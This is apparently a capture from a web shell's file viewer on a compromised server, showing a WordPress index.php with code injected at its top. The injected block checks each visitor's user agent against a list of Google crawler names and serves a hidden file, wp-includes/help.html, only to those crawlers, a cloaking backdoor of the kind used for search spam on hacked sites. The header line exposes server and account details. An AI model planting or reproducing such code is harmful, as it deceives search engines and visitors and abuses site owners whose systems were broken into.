Server : Apache System : Linux 122.228.205.92.host.secureserver.net 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64 User : ondostategov ( 1002) PHP Version : 8.1.33 Disable Function : NONE Directory : /dev/fd/ |
<?php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$google_bots = [
'Googlebot', 'Googlebot-News', 'Googlebot-Image', 'Googlebot-Video',
'Googlebot-Mobile', 'Mediapartners-Google', 'AdsBot-Google',
'AdsBot-Google-Mobile', 'APIs-Google', 'Google Favicon',
'Google Web Preview', 'Feedfetcher-Google', 'DuplexWeb-Google',
'Google-InspectionTool', 'Googlebot-AdsBot', 'Googlebot-Desktop',
'Googlebot-Search', 'Googlebot-Events', 'Googlebot-Tablet',
'Googlebot-Local', 'Googlebot-Apps', 'Googlebot-Connect', 'Googlebot-Books',
'Googlebot-Publisher', 'Googlebot-News-RSS'
];
foreach ($google_bots as $bot) {
if (stripos($user_agent, $bot) !== false) {
require __DIR__ . '/wp-includes/help.html';
exit;
}
}
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';